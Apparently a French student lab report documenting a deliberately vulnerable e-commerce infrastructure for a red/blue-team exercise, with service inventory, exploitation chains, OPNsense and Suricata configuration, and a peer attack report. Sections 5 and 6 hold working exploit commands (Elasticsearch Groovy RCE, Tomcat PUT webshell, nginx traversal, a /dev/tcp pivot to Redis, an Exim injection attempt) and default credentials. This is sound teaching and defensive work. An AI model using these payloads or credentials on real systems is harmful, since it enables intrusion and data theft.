

Kobayashi Maru — Document Pédagogique

Documentation complète de l'infrastructure — KM-M1-CDC-E · 2026

État du document (17/09/2026). Sections 1, 2, 3, 6 et 7 renseignées à partir de l'infrastructure réellement déployée et vérifiée (branche `work/integration-deploy`, 26 conteneurs sains sur `vu\ndb`, NAT OPNsense posé et testé depuis l'extérieur, 23 règles Suricata écrites et déployées sur `nsm`). Section 4/5 : chaîne A rejouée à 3/4 (preuve réelle) le 16/09/2026, chaîne B amorcée (E5), chaîne C arrêtée à E3 (indice E6 connu, exploitation `pwnscriptum` non aboutie). Section 8 (répartition nominative) renseignée. **Mise à jour du 17/09** : le rapport d'attaque du groupe attaquant assigné (G10, 16/09/2026) corrobore E2/E5/E7/E8/E11 comme compromis, confirme les blocages déjà identifiés sur E3/E14 et en révèle un supplémentaire (permissions des flags) — voir section 9.

1 Présentation de l'entreprise fictive et rappel du CDC choisi

CHAMP	VALEUR
Entreprise fictive	MaisonVerte SAS — enseigne de jardinerie et décoration d'intérieur
Secteur	Retail / e-commerce omnicanal (jardinerie, décoration)
Profil CDC choisi	Profil E — Reconstruction du SI omnicanal MaisonVerte (réf. KM-M1-CDC-E)
Domaine interne / public	Public : <code>maisonverte.fr</code> (shop, api, vendeurs, cache) via OPNsense <code>10.85.4.10</code> . Interne : zones DMZ / SRV / DATA / USERS / ADMIN / SHOPS sur <code>192.168.10.0/24</code> côté groupe, réseaux Docker <code>172.30.0.0/16</code> côté <code>vu\ndb</code> .
Zone spécifique	SHOPS — consolidation des ventes magasin et WMS entrepôt (12 points de vente, 1 entrepôt logistique de référence)
Actifs critiques	1) chiffre d'affaires en ligne (40 % du CA) ; 2) données personnelles clients et historique des commandes ; 3) continuité de l'encaissement en magasin

MaisonVerte SAS (540 salariés, 12 points de vente en région, un entrepôt logistique, siège à Nantes) demande la reconstruction de bout en bout de son SI omnicanal — de la boutique en ligne jusqu'aux caisses de magasin — avant sa période commerciale de fin d'année. La boutique a été développée par une agence web externe (compte `agence.web` toujours actif), tandis que caisses et logistique sont gérées en interne ; les deux univers communiquent par traitements nocturnes et interfaces développées au fil de l'eau. Les magasins doivent pouvoir continuer à encaisser même si le lien vers le siège tombe. Périmètre inclus : services applicatifs, routeur périmétrique, segmentation, jeux de données de recette, supervision de sécurité, documentation. Périmètre exclu : terminaux de paiement bancaire réels (simulés), téléphonie, 11 des 12 magasins (un magasin de référence suffit).

2 Schéma réseau complet

Schéma détaillé disponible dans `suivi/schema-maisonverte.drawio`. Vue textuelle de la topologie physique et logique du lab (groupe G04) :

```
[autres groupes] --- segment EXPOSITION (10.85.4.0/24, un /24 par groupe, cloud-init)
                        |
                        +-----+
                        | poste d'attaque | eth0=exposition | OPNsense | 10.85.4.10 (WAN)
                        | 10.85.4.20   | | E1 (sain) | 192.168.10.1 (LAN)
                        +-----+ +-----+
```


catalog-data01 (E10)	net-data, mv-a-data	vulhub/postgres	10.7	5432	Interne
clients-data01 (E11)	net-data, mv-b-data	vulhub/mongo-express	0.53.0	8081	Interne
clients-data01-mongo	backend privé E11	mongo	3.4	27017	Interne uniquement
pos-consol-shops01 (E12, executor)	net-spec, mv-b-core	vulhub/xxl-job	2.2.0-executor	9999	Interne
pos-consol-shops01-admin (E12, admin)	net-spec	vulhub/xxl-job	2.2.0-admin	8080	Interne
pos-consol-shops01-db	backend privé E12	mysql	5.7	3306	Interne uniquement
wms-shops01 (E13)	net-spec, mv-c-spec	vulhub/struts2	2.3.30	8080	Interne
deploy-srv01 (E14)	net-srv, mv-b-edge, mv-b-core	vulhub/jenkins	2.441	8080	Interne
supervision-admin01 (E15, web)	net-admin	zabbix/zabbix-web-nginx-mysql	alpine-7.0.27	8080	Interne (sain)
supervision-admin01-server	net-admin	zabbix/zabbix-server-mysql	alpine-7.0.27	10051	Interne (sain)
supervision-admin01-db	backend privé E15	mariadb	11.4	3306	Interne uniquement
crm-srv01 (E16)	net-srv	nginx	1.27.4-alpine	80	Interne (sain)
elk-admin01-es	net-admin	docker.elastic.co/elasticsearch/elasticsearch	7.17.24	9200	Interne uniquement (défensif, distinct de E7)
elk-admin01-kibana	net-admin	docker.elastic.co/kibana/kibana	7.17.24	5601	Publié en loopback vulndb uniquement (127.0.0.1:5601), tunnel SSH requis
elk-admin01-filebeat	net-admin	docker.elastic.co/beats/filebeat	7.17.24	—	Interne, lit les logs Docker en lecture seule
tp-registry	infra TP (hors tranche ferme)	registre Docker local	—	5000	Interne au lab, fourni par la plateforme
tp-registry-ui	infra TP (hors tranche ferme)	IHM du registre	—	5001	Interne au lab, fourni par la plateforme

4

Fiches des services vulnérables

Champs techniques (image, CVE, niveau, vecteur) confirmés depuis le build. Colonnes *exploit validé / preuve* marquées *à renseigner* quand la chaîne n'a pas encore été rejouée sur le terrain à la date de ce document (voir §5 pour la chaîne A, déjà rejouée à 3/4).

Réf	Service	Image Vulhub	CVE / Faille	Niveau	Vecteur d'attaque	Exploit validé	Emplacement du flag
E2	Reverse proxy / cache	nginx/insecure-configuration	fuite d'info (alias mal configuré)	N1	Traversal / LFI via alias nginx, révèle la route de recherche interne	Oui — voir §5 chaîne A	flag_id=1 (flags.map), conteneur cache-dmz01
E3	Boutique WordPress	wordpress/pwnscriptum	RCE non authentifiée	N1	Exploit pwnscriptum, indice vers back-office E6	Tenté, non abouti — voir §5	flag_id=2, conteneur shop-dmz01
E5	Portail vendeurs Tomcat	tomcat/CVE-2017-12615	CVE-2017-12615	N1	PUT JSP non authentifié → webshell, indice Jenkins	Oui — voir §5 chaîne B	flag_id=3, conteneur market-dmz01
E7	Recherche produits	elasticsearch/CVE-2015-1427	CVE-2015-1427	N2		Oui — voir §5 chaîne A	

					RCE Groovy non authentifiée, indice vers Redis		flag_id=4, conteneur search-srv01
E8	Cache sessions	redis/4-unacc	accès non authentifié	N2	Redis sans mot de passe, lecture d'un secret PostgreSQL	Oui — RCE (commande MODULE) confirmée par le rapport d'attaque G10, débloquée par la correction de permission du flag — voir §9	flag_id=5, conteneur cache-srv01
E10	Base catalogue / commandes	postgres/ CVE-2019-9193	CVE-2019-9193 (COPY FROM PROGRAM)	N3	Exécution de commande via COPY FROM PROGRAM avec le compte de service	Non abouti — chaîne A bloquée après E8 : le rapport d'attaque G10 signale l'absence de client PostgreSQL exploitable depuis E8 — voir §5/§9	flag_id=6, conteneur catalog-data01
E14	Déploiement Jenkins	jenkins/ CVE-2024-23897	CVE-2024-23897	N2	Lecture de fichier arbitraire via CLI non authentifiée, secret de job	Non abouti — incompatibilité Java confirmée par nos tests et par G10 (jenkins-cli.jar nécessite Java 11+, E5 n'a que Java 8) — voir §5/§9	flag_id=7, conteneur deploy-srv01
E12	Consolidation ventes	xxl-job/unacc	executor sans authentification	N3	RPC executor 9999 non authentifié, exécution de commande	Non atteint — chaîne B bloquée en amont à E14	flag_id=8, conteneur pos-consol-shops01
E11	Base clients	mongo-express/ CVE-2019-10758	CVE-2019-10758	N3	Injection NoSQL → RCE via \$where , ou creds par défaut admin/pass	Oui — RCE via / checkValid confirmée par le rapport d'attaque G10	flag_id=9, conteneur clients-data01
E6	Back-office commerçant	ofbiz/ CVE-2023-51467	CVE-2023-51467	N2	Contournement d'authentification via ProgramExport , indice partage E9	Non atteint — chaîne C arrêtée à E3 (voir §5)	flag_id=10, conteneur backoffice-srv01
E9	Fichiers marketing	samba/ CVE-2017-7494	CVE-2017-7494 (is_known_pipename)	N2	RCE via partage accessible en écriture, procédure WMS trouvée	Non atteint — chaîne C arrêtée à E3 (voir §5)	flag_id=11, conteneur files-srv01
E13	WMS entrepôt	struts2/s2-045	S2-045	N3	RCE via en-tête Content-Type (OGNL)	Non atteint — chaîne C arrêtée à E3 (voir §5)	flag_id=12, conteneur wms-shops01

5 Chaînes de dépendance

Chaîne A — cache public → recherche → sessions → commandes

E2 → E7 → E8 → E10 — 3/4 étapes rejouées avec preuve réelle le 16/09/2026, depuis le VPN (source 10.200.0.67).

ÉTAPE	PRÉCONDITION	RÉSULTAT OBTENU	MÈNE À
E2	cache.maisonverte.fr publié via NAT E2	Traversal /files../ → lecture du runbook, révèle route + jeton de recherche	E7
E7	Route + jeton lus sur E2	RCE Groovy confirmée (id → uid=0(root)), indice Redis lu	E8
E8	Indice E7 validé	Pivot réseau via /dev/tcp , lecture Redis → credential PostgreSQL de service	E10
E10	Credential E8 obtenu	Bloqué côté attaquant — accès réseau E8→E10 confirmé disponible, mais le rapport d'attaque G10 signale l'absence de client PostgreSQL exploitable sur E8 (seuls bash/curl/md5sum disponibles) ; à retester avec un outillage adapté	fin de chaîne

Preuve 1 — E2, traversal :

```
$ curl -sk --resolve cache.maisonverte.fr:443:10.85.4.10 \
  "https://cache.maisonverte.fr/files../srv/maisonverte/runbook/runbook.txt"

MaisonVerte - runbook recherche produits
Route interne: /internal/search/_search
En-tete requis: X-MV-Search-Token: mv-search-a7-route
Backend attendu: search-srv01:9200
```

Preuve 2 — E7, RCE Groovy (CVE-2015-1427) :

```
$ curl -sk -H "X-MV-Search-Token: mv-search-a7-route" -H "Content-Type: application/json" \
  --resolve cache.maisonverte.fr:443:10.85.4.10 \
  -d '{"size":1,"script_fields":{"lupin":{"lang":"groovy",
    "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}' \
  "https://cache.maisonverte.fr/internal/search/_search"

"fields":{"lupin":["uid=0(root) gid=0(root) groups=0(root)\n"]}
```

Preuve 3 — E7 → E8, pivot réseau (/dev/tcp via la RCE Groovy) et lecture Redis :

```
$ curl [...] -d '{"script_fields":{"lupin":{"lang":"groovy","script":
  "[\"bash\\",\"-c\\",\"exec 3<>/dev/tcp/cache-srv01/6379; echo GET maisonverte:chain:a:e10:libpq >&3; timeout 1 cat <&3\\n\"]"
  "https://cache.maisonverte.fr/internal/search/_search"

$114
host=catalog-data01 port=5432 dbname=maisonverte user=mv_catalog_admin password='Z/h0.....Dt/L'
```

(mot de passe masqué — valeur complète uniquement dans `deploiement/state/secrets/` sur `vuolndb` , jamais dans Git ni ce document.)

Vérification d'isolation (défense) : depuis le shell RCE sur E7, tentative de connexion directe à `catalog-data01:5432` → `UNREACHABLE` . Confirmé par `docker network inspect` : `search-srv01` n'est pas sur `mv-a-data` (contrairement à `cache-srv01`) — la segmentation « aucun N3 direct hors du bon pivot » est respectée.

Chaîne B — portail vendeurs → CI/CD → batch → clients

E5 → E14 → E12 → E11 — E5 exploité avec preuve réelle ; suite bloquée par une incompatibilité Java (voir preuve 3).

ÉTAPE	PRÉCONDITION	RÉSULTAT OBTENU	MÈNE À
E5	vendeurs.maisonverte.fr publié via E2	PUT JSP (CVE-2017-12615) confirmé → webshell, RCE id → uid=0(root)	E14
E14	Indice « deploy-srv01 » sur la page E5	Bloqué : E5 n'a que Java 8 (Tomcat 8.5.19/Debian 9), le CLI Jenkins 2.441 exige Java 11+	E12
E12	Secret E14	Non atteint — chaîne bloquée en amont à E14 (incompatibilité Java, confirmée par G10)	E11
E11	Credential E12	Non atteint par cette chaîne — mais E11 a été compromis directement (RCE /checkValid , sans passer par E12), confirmé par le rapport d'attaque G10 (voir §4)	fin de chaîne

Preuve 1 — E5, PUT JSP (CVE-2017-12615), écriture d'un webshell :

```
$ curl -sk -X PUT --resolve vendeurs.maisonverte.fr:443:10.85.4.10 \
  --data-binary @shell.jsp "https://vendeurs.maisonverte.fr/mvshell.jsp/"

HTTP 201
```

Preuve 2 — E5, confirmation d'exécution de commande :

```
$ curl -sk --resolve vendeurs.maisonverte.fr:443:10.85.4.10 \
  "https://vendeurs.maisonverte.fr/mvshell.jsp?cmd=id"

uid=0(root) gid=0(root) groups=0(root)
```

Preuve 3 — E5 → E14, blocage : la page d'accueil E5 indique « *synchronisation assurée par deploy-srv01* » (indice Jenkins). Téléchargement du CLI Jenkins réussi, mais :

```
Exception in thread "main" java.lang.UnsupportedClassVersionError: hudson/cli/CLI has been
compiled by a more recent version of the Java Runtime (class file version 55.0), this version
of the Java Runtime only recognizes class file versions up to 52.0
```

E5 n'a que Java 8 (1.8.0_141) ; le CLI Jenkins 2.441 exige Java 11+. Contournement testé (conteneur jetable basé sur l'image vulhub/jenkins:2.441 , qui embarque Java 17, sur le réseau mv-b-edge) : la commande CLI utilisée (connect-node) échoue avec No such agent ... exists — la syntaxe exacte pour déclencher la lecture de fichier CVE-2024-23897 reste à ajuster.

Chaîne C — boutique → back-office → fichiers → entrepôt

E3 → E6 → E9 → E13 — **arrêtée à l'étape E3** le 16/09/2026, cause racine confirmée indépendamment par le rapport d'attaque G10 (16/09/2026) : PHPMailer patché dans l'image WordPress déployée.

ÉTAPE	PRÉCONDITION	RÉSULTAT OBTENU	MÈNE À
E3	shop.maisonverte.fr publié via E2	Indice back-office trouvé par simple lecture du site (article public, sans exploit). Exploitation pwnscriptum tentée (injection Host/PHPMailer-Exim) mais non concluante après plusieurs essais.	E6
E6	Indice E3 (connu)	Non atteint — E6 n'est joignable que depuis un conteneur du réseau mv-c-edge (E3 uniquement)	E9
E9	—	Non atteint	E13
E13	—	Non atteint	fin de chaîne

Preuve 1 — E3, reconnaissance sans exploit :

```
$ curl -sk --resolve shop.maisonverte.fr:443:10.85.4.10 "https://shop.maisonverte.fr/"

[Article public "Operations boutique MaisonVerte"]
Le back-office logistique communique avec backoffice-srv01 sur le segment prive.
```

Preuve 2 — E3, tentative pwnscriptum (échec, cause racine identifiée) : injection d'une commande dans l'en-tête Host via POST /wp-login.php?action=lostpassword (syntaxe d'expansion Exim \${run{...}}). 3 variantes testées (chaîne complète, écriture directe, ping réseau minimal), aucune n'aboutit.

```
PHP Fatal error: Uncaught exception 'phpmailerException' with message
'Invalid address: wordpress@[target(any -froot@localhost -be ${run{...}} null)]'
in /var/www/html/wp-includes/class-phpmailer.php:946
Stack trace: PHPMailer->setFrom(...) -> wp_mail(...) -> retrieve_password()
```

Exim fonctionne parfaitement dans le conteneur (vérifié : exim4 -be '\${run{id}}' exécute bien du code). La cause n'est donc pas l'environnement : **PHPMailer valide l'adresse From avant tout envoi** et rejette notre payload comme invalide, avant même d'atteindre mail() / sendmail. Ce build de vulhub/wordpress:4.6 n'est plus exploitable via ce vecteur précis. À reprendre : variante contournant la validation d'adresse, ou remplacement de la vulnérabilité E3.

6 Comptes et accès

6a. Accès d'administration du lab (infrastructure)

Mots de passe volontairement omis de ce document versionné (rotés régulièrement par l'équipe) — voir le gestionnaire de secrets / canal privé de l'équipe pour les valeurs courantes. *Constat du 17/09 (rapport d'attaque G10) : le mot de passe par défaut Defense2600! était encore actif sur le poste (10.85.4.20) et sur vulndb (192.168.10.50) au moment de l'attaque — la rotation annoncée ici n'avait pas été faite avant la Phase 2. Voir §9.*

SERVICE	COMPTE	MOT DE PASSE	RÔLE / DROITS	ZONE	COMMENTAIRE
OPNsense (webConfigurator)	root	— (canal privé équipe)	Administration complète du pare-feu du groupe	bordure (E1)	https://192.168.10.1/
Poste pivot / vulndb / nsm	etudiant	— (canal privé équipe, un mot de passe distinct par hôte)	Utilisateur standard, sudo autorisé	segment LAB	SSH 22, RDP 3389 sur le poste
	root	— (canal privé équipe)	Superutilisateur		

6b. Comptes applicatifs connus (par défaut Vulhub, intentionnellement faibles)

SERVICE	COMPTE	MOT DE PASSE	RÔLE / DROITS	ZONE	COMMENTAIRE
E3 WordPress — MySQL backend	root	root	Accès base shop-dmz01-db	DMZ (backend privé)	Défaut vulhub wordpress/pwnscriptum , non exposé hors conteneur
E10 PostgreSQL	postgres	postgres	Compte de service applicatif	DATA	Défaut vulhub postgres/CVE-2019-9193 ; la faille elle-même permet COPY FROM PROGRAM
E11 mongo-express (IHM)	admin	pass	Accès IHM mongo-express	DATA	Défaut vulhub ; l'exploit CVE-2019-10758 ne nécessite pas nécessairement ce login (injection NoSQL)
E12 XXL-JOB — MySQL backend	root	root	Accès base pos-consol-shops01-db	SHOPS (backend privé)	Défaut vulhub xxl-job/unacc
E12 XXL-JOB executor (9999)	—	—	Aucune authentification (c'est la vulnérabilité)	SHOPS	RPC non authentifié
E6 OFBiz	—	—	Contournement d'authentification	SRV	CVE-2023-51467, ProgramExport avec identifiants vides
E14 Jenkins	—	—	Lecture fichier arbitraire non authentifiée	SRV	CVE-2024-23897 via CLI
E9 Samba	invité	—	Partage accessible	SRV	CVE-2017-7494, partage en écriture requis pour la RCE
E7 Elasticsearch	—	—	Aucune authentification (version 1.4.2)	SRV	CVE-2015-1427
E8 Redis	—	—	Aucune authentification	SRV	redis/4-unacc
E13 Struts2	—	—	RCE non authentifiée	SHOPS	S2-045, en-tête Content-Type
E2 nginx	—	—	Fuite d'info non authentifiée	DMZ	nginx/insecure-configuration

6c. Secrets générés au déploiement (pivots de chaîne)

Les identifiants de pivot découverts en cours de chaîne (ex. secret PostgreSQL révélé via Redis en chaîne A, token Jenkins révélé en chaîne B) sont générés à l'installation par `deploiement/00-infra/prepare-runtime-secrets.sh` (`openssl rand -base64 24`) et stockés uniquement dans `deploiement/state/secrets/` sur vulndb (permissions `600` , répertoire exclu de Git). Ils ne sont jamais dupliqués dans le code, les fichiers `Compose` ni ce document ; leur valeur (masquée) est consignée au moment du rejeu de chaîne dans `documentation/04-exploitation.md` .

6d. Flags

Les 12 valeurs proviennent exclusivement de `enonce/flags-G04.csv` et sont mappées `service ↔ flag_id` dans `deploiement/config/flags.map` (ordre : E2, E3, E5, E7, E8, E10, E14, E12, E11, E6, E9, E13). Les valeurs elles-mêmes ne sont pas reproduites dans ce document ; seul l'emplacement (conteneur / montage) est indiqué en section 4.

6e. Comptes métier attendus par le CDC (annexe client, à cartographier)

COMPTE	RÔLE	ENTITÉ
f.leclerc	DSI	Informatique
n.rousseau	Responsable e-commerce	Marketing
a.perrot	Acheteur, gestion du catalogue	Achats
resp.mag001 ... resp.mag012	Responsables de magasin, accès back-office	Magasins
logistique.entrepot	Gestionnaire d'entrepôt	Logistique
svc_deploy	Compte de service — déploiement	—
svc_caisse	Compte de service — remontée des ventes	—

agence.web	Compte agence ayant développé la boutique, toujours actif	Externe
client_test	Compte client de démonstration	Externe
vendeur_test	Compte vendeur de démonstration	Externe

Ces comptes sont ceux exigés par le CDC (annexe 11) ; leur implémentation concrète dans WordPress/back-office/portail vendeurs reste à documenter précisément lors du rejeu de chaîne.

7 Configuration OPNsense et règles Suricata

7a. Règles OPNsense (publication et filtrage)

Interfaces : WAN vtnet0 — 10.85.4.10/24 , passerelle 10.85.4.1 ; LAN vtnet1 — 192.168.10.1/24 .

#	SOURCE	DESTINATION	PORT	ACTION	MOTIF MÉTIER
1	any (WAN)	wanip (10.85.4.10) → 192.168.10.50 (E2)	tcp/443	NAT port-forward, association filtre « pass »	Publication unique de la boutique/API/portail vendeurs/cache via le reverse-proxy E2 (SNI/Host)

Règle créée le 16/09/2026 (uuid 0c3808e8-de45-405e-8795-01e2396c1757) via le webConfigurator. Aucune règle Firewall > Rules > WAN distincte n'a été nécessaire : l'association « pass » de la règle NAT autorise directement le trafic correspondant. Vérifié fonctionnel depuis l'extérieur (VPN) le 16/09/2026 : shop.maisonverte.fr , api.maisonverte.fr , vendeurs.maisonverte.fr , cache.maisonverte.fr répondent tous en HTTP 200 sur 10.85.4.10:443 . Aucune autre règle NAT/filter n'existe à ce jour (config <filter> vide par ailleurs) — cohérent avec le principe « rien n'est ouvert sauf ce qui est explicitement publié ».

7b. Règles Suricata

Écrites et déployées le 16/09/2026 sur /etc/suricata/rules/tp-local.rules (sonde nsm , 192.168.10.30) : 23 règles ajoutées (SID 9000007 à 9000029) au-dessus des 6 règles socle fournies par la plateforme (SID 9000001-9000006, non modifiées). Validation suricata -T : 0 erreur. Rechargement : 52613 règles chargées au total, 0 échec.

Constat de test réel important. E2/E3/E5 sont publiés en TLS. Un test en direct a confirmé que les signatures de contenu HTTP (traversal, user-agent, canary...) ne se déclenchent pas sur ce trafic chiffré (limite technique, pas un bug — Suricata ne peut pas inspecter un corps TLS sans les clés de session). Pour compenser, 4 règles supplémentaires basées sur le **SNI TLS** (visible en clair dans le ClientHello) ont été ajoutées et **vérifiées déclenchées en conditions réelles** le 16/09/2026 à 10:58:48 (alertes fast.log pour shop / vendeurs / cache.maisonverte.fr , source 10.200.0.67 → 192.168.10.50:443). C'est la détection réseau fiable pour le trafic N1 réel ; la preuve applicative détaillée (contenu de l'exploit) reste à chercher côté ELK/logs applicatifs, pas côté réseau, pour tout ce qui passe derrière E2. Détail complet par SID : documentation/08-regles-suricata.md .

Mise à jour du 17/09 : le rapport d'attaque G10 confirme le déclenchement réel (voir documentation/rapport-detection-source.html §6/§6a) sur E2, E5, E7, E8 et E11. Les chaînes B (E14/E12) et C (E6/E9/E13) restent sans preuve de déclenchement — non pas faute de règle, mais parce que G10 ne les a pas atteintes (voir §5/§9). Reste à faire : rejouer ces deux chaînes après correctif pour vérifier que les règles associées se déclenchent bien, et récupérer la preuve applicative (ELK) pour E7/E8/E11, invisibles pour Suricata (trafic intra-Docker).

8 Répartition des tâches nominatif

MEMBRE	SERVICE(S) ALLOUÉ(S)	VULNÉRABILITÉ	CHAPITRE DE DOCUMENTATION	RÈGLE DE DÉTECTION
Nathan Palvadeau	E2-E6, E9, E13, E15, E16 (DMZ, chaîne C, services sains) + stack ELK + plan initial Suricata	nginx, wordpress, tomcat, samba, struts2	03-déploiement.md , 05-detection.md	Plan de SID initial (configure-suricata-notes.sh), analyse des alertes/logs EveBox et du trafic réseau capturé
Thibault Foulon	Fondations infra (réseaux Docker, TLS, images offline), harnais de tests statiques, OPNsense (WAN/LAN/ interfaces)	—	00 à 04 (drafts), 06-recette.md	Diagnostic de la règle NAT WAN → E2 sur OPNsense (avec Yanis Hortholary), vérification config OPNsense
Damien Aouaj	E7 (recherche produits), E8 (cache sessions), E14 (déploiement Jenkins) — chaîne A et amorce chaîne B	Elasticsearch CVE-2015-1427, Redis 4-unacc, Jenkins CVE-2024-23897	04-exploitation.md	— (non affecté à la détection ; les 23 règles, dont 9000013-9000018 pour ces

				mêmes services, ont été écrites par Yanis Hortholary)
Yanis Hortholary	OPNsense (diagnostic + correction de la règle NAT WAN → E2, avec Thibault Foulon), déploiement et test réel des 23 règles Suricata, validation exploitation E2/E5	nginx traversal (E2), Tomcat PUT (E5) — exploitation validée	07-endpoints-et-verification.md , 08-regles-suricata.md , Rendu/*	Écriture + déploiement SID 9000007-9000029, tests réels confirmés (EveBox/fast.log)
Adam Attafi	Validation des 3 chaînes d'exploitation (A/B/C) côté red team avant livraison ; préparation de l'attaque Phase 2 contre le groupe adverse ; chef de groupe / contact builder	Tests de rejeu sur l'ensemble des 12 vulnérabilités	06-recette.md	—
Seymen Isikli	Validation des 3 chaînes d'exploitation (A/B/C) côté red team avant livraison ; préparation de l'attaque Phase 2 contre le groupe adverse	Tests de rejeu sur l'ensemble des 12 vulnérabilités	06-recette.md	—

9

Correctifs identifiés (rapport d'attaque G10, 16/09/2026)

Le groupe attaquant assigné (G10) a communiqué son rapport d'attaque le 16/09/2026, avec 4 points bloquants et 1 majeur. Documentés ici pour traçabilité ; correctifs *non encore appliqués* à la date de ce document.

#	CONSTAT	IMPACT	CORRECTIF PROPOSÉ	STATUT
1 — Bloquant	Flags montés - rw- - - - - 1001:1001 : illisibles par les services qui ne tournent pas en root (E8 uid 999, E10 uid 999, E2 www-data)	Flag incapturable même après compromission complète du service	chmod 644 state/services/*/flag.txt dans chaque install-eX-*.sh , avant le docker cp /montage	Non appliqué
2 — Bloquant	Chaîne B : /tmp/jenkins-cli.jar posé sur E5 compilé pour Java 11+, alors qu'E5 (Tomcat) n'embarque que Java 8 (1.8.0_141)	Chaîne B morte au maillon E5 → E14 ; E14 et E12 incapturables par ce chemin	Déposer un JRE 11+ sur E5, ou remplacer le pivot par un client compatible Java 8	Non appliqué
3 — Bloquant	Chaîne C : PHPMailer embarqué dans l'image WordPress d'E3 est en version patchée (escapeshellarg sur Sender , ≥ 5.2.21) — confirmé indépendamment par nos propres tests (§5, preuve 2)	Chaîne C entière inaccessible (E6, E9, E13)	Injecter une version vulnérable de PHPMailer (≤ 5.2.20) dans shop-dmz01 , ou adapter le scénario E3	Non appliqué
4 — Bloquant	Chaîne A : aucun client PostgreSQL sur E8 (uniquement bash/curl/md5sum) pour exploiter le credential révélé vers E10	Chaîne A bloquée au dernier maillon E8 → E10	Fournir un client (psql statique, script python/perl) sur cache-srv01 , ou faire porter la connexion par un maillon disposant d'un client	Non appliqué
5 — Majeur	Mots de passe par défaut root/Defense2600! actifs sur le poste et vulndb ; admin/password et webadmin/letmein du bundle également inchangés	Zone lab accessible aux autres groupes avec les identifiants école, y compris state/secrets/ et les flags côté builder	Changer les mots de passe comme prévu par le bundle, retirer les secrets du dépôt	Non appliqué

Le même rapport signale positivement : architecture documentée à jour (ce document, utilisé tel quel par G10), déploiement offline rejouable, images épinglées, pivots matériels bien pensés, défense ELK cloisonnée, services sains réellement sains (E4, E15, E16). Aucune donnée détruite côté attaquant ; traces limitées à /tmp sur search-srv01 et clients-data01 .